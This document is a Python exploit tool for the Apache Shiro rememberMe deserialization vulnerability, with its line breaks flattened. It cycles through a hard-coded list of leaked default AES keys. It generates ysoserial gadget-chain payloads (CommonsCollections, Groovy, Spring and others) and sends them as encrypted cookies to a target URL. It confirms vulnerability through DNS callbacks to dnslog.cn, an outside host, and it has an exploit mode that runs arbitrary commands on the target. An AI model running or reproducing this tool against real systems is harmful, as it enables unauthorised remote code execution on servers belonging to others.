import osimport reimport base64import uuidimport subprocessimport requestsimport sysimport jsonimport timeimport randomimport argparsefrom Crypto.Cipher import AES
JAR_FILE = 'ysoserial.jar'
CipherKeys = [ "kPH+bIxk5D2deZiIxcaaaA==", "4AvVhmFLUs0KTA3Kprsdag==", "3AvVhmFLUs0KTA3Kprsdag==", "2AvVhdsgUs0FSA3SDFAdag==", "6ZmI6I2j5Y+R5aSn5ZOlAA==", "wGiHplamyXlVB11UXWol8g==", "cmVtZW1iZXJNZQAAAAAAAA==", "Z3VucwAAAAAAAAAAAAAAAA==", "ZnJlc2h6Y24xMjM0NTY3OA==", "L7RioUULEFhRyxM7a2R/Yg==", "RVZBTk5JR0hUTFlfV0FPVQ==", "fCq+/xW488hMTCD+cmJ3aQ==", "WkhBTkdYSUFPSEVJX0NBVA==", "1QWLxg+NYmxraMoxAXu/Iw==", "WcfHGU25gNnTxTlmJMeSpw==", "a2VlcE9uR29pbmdBbmRGaQ==", "bWluZS1hc3NldC1rZXk6QQ==", "5aaC5qKm5oqA5pyvAAAAAA==", "r0e3c16IdVkouZgk1TKVMg==", "ZUdsaGJuSmxibVI2ZHc9PQ==", "U3ByaW5nQmxhZGUAAAAAAA==", "LEGEND-CAMPUS-CIPHERKEY==" ]
gadgets = ["JRMPClient","BeanShell1","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Groovy1","Hibernate1","Hibernate2","JSON1","JavassistWeld1","Jython1","MozillaRhino1","MozillaRhino2","Myfaces1","ROME","Spring1","Spring2","Vaadin1","Wicket1"]
session = requests.Session()def genpayload(params, CipherKey,fp): gadget,command = params if not os.path.exists(fp): raise Exception('jar file not found') popen = subprocess.Popen(['java','-jar',fp,gadget,command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(CipherKey), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
def getdomain(): try : ret = session.get("http://www.dnslog.cn/getdomain.php?t="+str(random.randint(100000,999999)),timeout=10).text except Exception as e: print("getdomain error:" + str(e)) ret = "error" pass return ret
def getrecord(): try : ret = session.get("http://www.dnslog.cn/getrecords.php?t="+str(random.randint(100000,999999)),timeout=10).text except Exception as e: print("getrecord error:" + str(e)) ret = "error" pass return ret
def check(url): if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url
print("checking url:" + url)
domain = getdnshost() if domain: reversehost = "http://" + domain
for CipherKey in CipherKeys: ret = {"vul":False,"CipherKey":"","url":target}
try: print("try CipherKey :" +CipherKey)
payload = genpayload(("URLDNS",reversehost),CipherKey,JAR_FILE)
print("generator payload done.")
r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
print("send payload ok.") for i in range(1,5): print("checking.....")
time.sleep(2) temp = getrecord() if domain in temp: ret["vul"] = True ret["CipherKey"] = CipherKey break except Exception as e: print(str(e)) pass if ret["vul"]: break else: print("get dns host error") return ret
def exploit(url,gadget,params,CipherKey): if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url try: payload = genpayload((gadget, params),CipherKey,JAR_FILE) r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10) print(r.text) except Exception as e: print("exploit error:" + str(e)) pass
def getdnshost(): reversehost = "" try : domain = getdomain() if domain=="error": print("getdomain error") else: reversehost = domain except: pass return reversehost
def detector(url,CipherKey,command): result = [] if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url try: for g in gadgets: g = g.strip()
domain = getdnshost() if domain: if g == "JRMPClient": param = "%s:80" % domain else: param = command.replace("{dnshost}",domain) payload = genpayload((g, param),CipherKey,JAR_FILE) print(g + " testing.....") r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10) for i in range(1,5): time.sleep(2) temp = getrecord() if domain in temp: ret = g result.append(ret) print("found gadget:\t" + g) break else: print("get dns host error") except Exception as e: print("detector error:" + str(e)) pass return result
def parser_error(errmsg): print("Usage: python " + sys.argv[0] + " [Options] use -h for help") sys.exit()
def parse_args(): parser = argparse.ArgumentParser(epilog="\tExample: \r\npython " + sys.argv[0] + " -u target") parser.error = parser_error parser._optionals.title = "OPTIONS" parser.add_argument('-u', '--url', help="Target url.", default="http://127.0.0.1:8080",required=True) parser.add_argument('-t', '--type', help='Check or Exploit. Check :1 , Exploit:2 , Find gadget:3', default="1",required=False) parser.add_argument('-g', '--gadget', help='gadget', default="CommonsCollections2",required=False) parser.add_argument('-p', '--params', help='gadget params',default="whoami",required=False) parser.add_argument('-k', '--key', help='CipherKey',default="kPH+bIxk5D2deZiIxcaaaA==",required=False) return parser.parse_args()
if __name__ == '__main__': args = parse_args() url = args.url type = args.type command = args.params key = args.key gadget = args.gadget if type=="1": r = check(url) print("\nvulnerable:%s url:%s\tCipherKey:%s\n" %(str(r["vul"]),url,r["CipherKey"])) elif type=="2": exploit(url,gadget,command,key) print("exploit done.") elif type=="3": r = detector(url,key,command) if r : print("found gadget:\n") print(r) else: print("invalid type")